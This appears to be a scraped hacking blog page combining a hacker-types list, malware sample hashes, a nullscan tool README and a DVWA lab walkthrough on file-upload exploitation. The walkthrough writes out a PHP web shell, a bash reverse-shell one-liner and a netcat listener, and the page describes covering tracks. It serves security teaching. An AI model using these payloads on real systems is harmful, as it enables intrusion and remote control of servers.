From now on, we are only going to keep the latest-greatest version of each talk/workshop and announce changes on Twitter.
Saturday, April 25, 2020
Workshop And Presentation Slides And Materials
All of our previous workshop and presentation slides and materials are available in one location, from Google Drive.
TYPES OF HACKER
1-Script Kiddies-They are just download overused software & watch youtube video on how to use it. Script kiddies don't care about hacking.
2-White Hat-They are the good guys of the hacker world. They also known as Ethical Hacker.
3-Black Hat-They finds bank or other companies with weak security and steal money or credit card information. They also known as cracker. They are dangerous because they are illegal to gain unauthorized access.
4-Gray Hat-They don't steal money or information sometimes they deface a website or they don't help people for good.
5-Green Hat-These are the hacker "noobz" but unlike Script Kiddies.They care about Hacking and strive to become full-blown hacker.
6-Red Hat-These are the vigilantes of the hacker world. They are like White Hats in that they halt Black Hats but these folks are downright SCARY to those who have ever tried so much as penetrest.
7-Blue Hat-If a Script Kiddy took revenge he/she might become a Blue Hat.Most Blue Hats are noobz.They have no desire to learn.
Continue reading
Linux/AirDropBot Samples
Reference
Download
Hashes
MD5 | SHA256 | SHA1 |
|---|---|---|
85a8aad8d938c44c3f3f51089a60ec16 | 1a75642976449d37acd14b19f67ed7d69499c41aa6304e78c7b2d977e0910e37 | 2f0079bb42d5088f1fec341cb68f15cdd447ac43 |
2c0afe7b13cdd642336ccc7b3e952d8d | 64c0e594d4926a293a1f1771187db8cfb44a0dda80d8b25b4f0c975e1e77745c | fef65085a92654cbcf1e3e0d851c6cda8dd3b03d |
94b8337a2d217286775bcc36d9c862d2 | 71c02b99046c3be12e31577aa6623ce47dfb7f369e67af564d2bd499080c03b6 | d5deeb1b61026479acb421583b7b82d09d63e921 |
417151777eaaccfc62f778d33fd183ff | bf6941e644a430fef43afc749479859665a57b711d5483c2c7072049c7db17b7 | f76b9447db23229edae17a3160e04df41bc35a9d |
d31f047c125deb4c2f879d88b083b9d5 | 2785845c97a69e15c9c1535216732a9d24bcf8f7244ce7872a2b0d2d4bcb92c3 | 4693505ef4c029112c4b85a16762cf90f0d69c15 |
ff1eb225f31e5c29dde47c147f40627e | f7ab3d315961d84da43f30a186136a56f5aa1e9afe6b56a0d357accd5f0ab81a | d5f2a976b703b5e687ffc58c408e0bc880838ae7 |
f3aed39202b51afdd1354adc8362d6bf | fa2bc8d988c8dfbdc965f1373bd80e9f5862868397c1bcb5e84b1e9c1756e0e2 | 31f0bca917cfbffcc126219439d38fe80d5c8460 |
083a5f463cb84f7ae8868cb2eb6a22eb | d654850f7785a5adb34f0808e2952f66e3784c0a32427fab9e97c75f0a48d9f5 | ed4359a2805ce69771253d2257598b5c63c36c8e |
9ce4decd27c303a44ab2e187625934f3 | a2a245f12ae44cca79f03a465e2dc3dfa222dfcfda1017824b16abf397f16255 | 710e85ae3d362d3c8f3759319c308ff9b4dcdc86 |
b6c6c1b2e89de81db8633144f4cb4b7d | 2480be0d00193250bc9eb50b35403399ed44f53d5d919600ee5bab14ef769530 | ee77141054ac8d2fad062bcd79832b5f481c7dfb |
abd5008522f69cca92f8eefeb5f160e2 | 509299df2f6150f59ed777873d3b7c708587c68a4004b4654a8cf2a640dd50aa | 15cf94828c07e080b9c455738f3219859d9ab732 |
a84bbf660ace4f0159f3d13e058235e9 | 565deb4b1a7397d2497c75c9635b81d2e3b6427f0c576e5cd3c4224660712b56 | c56fea8c1c949394e539d5ab3e3df7dfd329844a |
5fec65455bd8c842d672171d475460b6 | 121c7ebfb99d8ef39f72bf7c787be4c15e2e08b731f01172605a4d34d27f08eb | 3b6ca4525c3aad0583400b911b015071a0ea6133 |
4d3cab2d0c51081e509ad25fbd7ff596 | 7f71577b63b449c1a9e9aa516fa9e4320fe5f79548a00025a430894a269ab57b | d521f25362791de4d8a82a2683f032c1dd816e74 |
252e2dfdf04290e7e9fc3c4d61bb3529 | 834fc5c0ccfde1f3d52d88355717f119221118ee2d26018b417c50d066e9e978 | c8f3130e64a6f825b1e97060cf258e9086a2b650 |
5dcdace449052a596bce05328bd23a3b | 22949a7a3424f3b3bdf7d92c5e7a7a0de4eb6bbe9c523d57469944f6a8b1d012 | f2c072560559a3f112e2000c8e28ee975b2b9db3 |
9c66fbe776a97a8613bfa983c7dca149 | 18c08d3c39170652d4770b2f7785e402b58c1f6c51ba1338be4330498ef268f4 | 18a99ec770109357d1adbc1c2475b17d4dcca651 |
59af44a74873ac034bd24ca1c3275af5 | 1c345b5e7c7fdcc79daa5829e0f93f6ae2646f493ae0ec5e8d66ab84a12a2426 | 98f789e91809203fbf1b7255bd0579fc86a982ba |
9642b8aff1fda24baa6abe0aa8c8b173 | 98165c65d83fd95379e2e7878ac690c492ac54143d7b12beec525a9d048bedae | bd447e0e77a9192b29da032db8e1216b7b97f9ed |
e56cec6001f2f6efc0ad7c2fb840aceb | 7a2bf405c5d75e4294c980a26d32e80e108908241751de4c556298826f0960f1 | b1c271d11797baac2504916ac80fd9e6fac61973 |
54d93673f9539f1914008cfe8fd2bbdd | c396a1214956eb35c89b62abc68f7d9e1e5bd0e487f330ed692dd49afed37d5a | 72a9b8d499cce2de352644a8ffeb63fd0edd414b |
6d202084d4f25a0aa2225589dab536e7 | c691fecb7f0d121b5a9b8b807c5767ad17ae3dd9981c47f114d253615d0ef171 | a68149c19bfddcdfc537811a3a78cd48c7c74740 |
cfbf1bd882ae7b87d4b04122d2ab42cb | 892986403d33acb57fca1f61fc87d088b721bdd4b8de3cd99942e1735188125b | a067a0cf99650345a32a65f5bc14ab0da97789b6 |
More articles
Wednesday, April 22, 2020
HOW TO BECOME A CERTIFIED ETHICAL HACKER
7 Tips to become a hacker?
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.
1-Programming Language are essential to becoming a good hacker
2-Networking skills is important to becoming an effective hacker.
3-SQL language are essential to becoming an effective hacker
4-Internet surfing is also essential for becoming a hacker for gathering information.
5-Cryptography is essential to becoming a certified hacker from which a hacker can share his/her readable data to other person in a nonreadable form with the help of Cryptography.
6-Penetration testing is also important for a hacker.
7-experiment a lot is also very useful to becoming a ethical hacker.
Follow me on insta_anoymous_adi
Continue reading
Nullscan - A Modular Framework Designed To Chain And Automate Security Tests
A modular framework designed to chain and automate security tests. It parses target definitions from the command line and runs corresponding modules and their nullscan-tools afterwards. It can also take hosts and start nmap first in order to perform a basic portscan and run the modules afterwards. Also, nullscan can parse a given nmap logfile for open tcp and udp ports and again run the modules afterwards. All results will be logged in specified directories with a clean structure and a HTML report can subsequently be generated.
This code is dedicated to my friend Zeljko (R.I.P.), who passed away, 2nd Dec 2012.
Usage
[ hacker@blackarch ~ ]$ nullscan -H
____
____ __ __/ / /_____________ _____
/ __ \/ / / / / / ___/ ___/ __ `/ __ \
/ / / / /_/ / / (__ ) /__/ /_/ / / / /
/_/ /_/\__,_/_/_/____/\___/\__,_/_/ /_/
--==[ by nullsecurity.net ]==--
usage
nullscan <modes> [options] | <misc>
modes
-t <targets> - hosts to scan via nmap and then attack - ? for info
-u <uris> - targets to attack directly via URIs - ? for info
-l <file> - parse nmap xml logfile and attack hosts on open ports
options
-o <opts> - extra options for modes - ? for info
-i <mods> - include modules (default: all) - ? for info
-I <tools> - include tools (default: all) - ? for info
-x <mods> - exclude modules (default: see nullscan.cfg) - ? for info
-X <tools> - exclude tools (default: see nullscan. cfg) - ? for info
-T <num> - num workers for parallel target checks (default: 15)
-M <num> - num workers to run parallel modules (default: 10)
-P <num> - num workers to run parallel tools (default: 15)
-k <sec> - num seconds for tool (global) timeout (default: 0.0)
-r - generate an html report
-R <dir> - work, log and report dir (default: pwd + date)
-c <file> - config file (default: /etc/nullscan.conf)
-v - verbose mode (default: false)
-d - debug mode (default: false)
misc
-C - check for missing tools (recommended)
-p <args> - print tools and exit - ? for info
-m <args> - create and add a new module - ? for info
-a <args> - add tool to existing module - ? for info
-V - print version of nullscan and exit
-H - print this help and exit
examples
-t 192.168.0.0/24 -i tcp=ssh,http -r -I hydra_ssh,crack_http_auth
-u 'tcp://nsa.gov:80=http,22=ssh;udp://foo.bar:1337;
http://fbi.gov,https://cia.gov;mail://foo@bar.baz;
person://justin bieber,noptrix;lan://eth0,tap0;wifi://wlan0'
-o 'user=root;plists=/tmp/pwds.txt;rhost=192.168.0.1;
sport=1337;dirsearch_web=-o my -p "own opts" -c 1 -f 4;'
-n /tmp/scanned.xml -i 'host=icmp;tcp=default' -r
-l hosts.txt -X sqlmap,wpscan -v -o 'httping_web=-p cia.gov;
rpcdump_udp=-f foo -b bar;nmap=-sT,-n,-p-;'
-p 'tcp=ssh,http;host=zonetransfer;udp'
-m 'icmp/ping ping_flood ping -f -s 9999'
-a 'tcp/ssh crack_ssh sshcracker -c arg -f arg'Example
Installation
Run
setup.sh. Install needed python modules afterwards using pip install -r docs/requirements.txt.Author
noptrix
Notes
- Please check the manpage from docs/nullscan.1
- Use '?' option-value for any cmdline options. It gives you information for usage and examples.
- clean code; real project
- nullscan is already packaged and available for BlackArch Linux
- My master-branches are always stable; dev-branches are created for current work.
- All of my public stuff you find are officially announced and published via nullsecurity.net.
Disclaimer
We hereby emphasize, that the hacking related stuff found on nullsecurity.net are only for education purposes. We are not responsible for any damages. You are responsible for your own actions.
via KitPloit
More info
PHASES OF HACKING
Hacking is broken up into six phases:The more you get close to all phases,the more stealth will be your attack.
1-Reconnaissance-This is the primary phase of hacking where hacker tries to collect as much as information as possible about the target.It includes identifying the target,domain name registration records of the target, mail server records,DNS records.The tools that are widely used in the process is NMAP,Hping,Maltego, and Google Dorks.
2-Scanning-This makes up the base of hacking! This is where planning for attack actually begins! The tools used in this process are Nessus,Nexpose,and NMAP. After reconnaissance the attacker scans the target for services running,open ports,firewall detection,finding out vulnerabilities,operating system detection.
3-Gaining Access-In this process the attacker executes the attack based on vulnerabilities which were identified during scanning! After the successful, he get access to the target network or enter in to the system.The primary tools that is used in this process is Metasploit.
4-Maintaining Access-It is the process where the hacker has already gained access in to a system. After gaining access the hacker, the hacker installs some backdoors in order to enter in to the system when he needs access in this owned system in future. Metasploit is the preffered toll in this process.
5-Clearning track or Covering track-To avoid getting traced and caught,hacker clears all the tracks by clearing all kinds of logs and deleted the uploaded backdoor and anything in this process related stuff which may later reflect his presence!
6-Reporting-Reporting is the last step of finishing the ethical hacking process.Here the Ethical Hacker compiles a report with his findings and the job that was done such as the tools used,the success rate,vulnerabilities found,and the exploit process.
Related links
Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell
In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
we see a response from the server giving us the user under which the web application is running.
Now start a listener on host with this command:
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
looking back at the listener we have a reverse shell.
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.
echo TESTUPLOAD > test.txt
http://localhost:9000/hackable/uploads/test.txt
<?php
phpinfo();
?>
http://localhost:9000/hackable/uploads/info.php
<?php
system($_GET["cmd"]);
?>
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
nc -lvnp 9999
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
References:
- Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Related posts
Subscribe to:
Posts (Atom)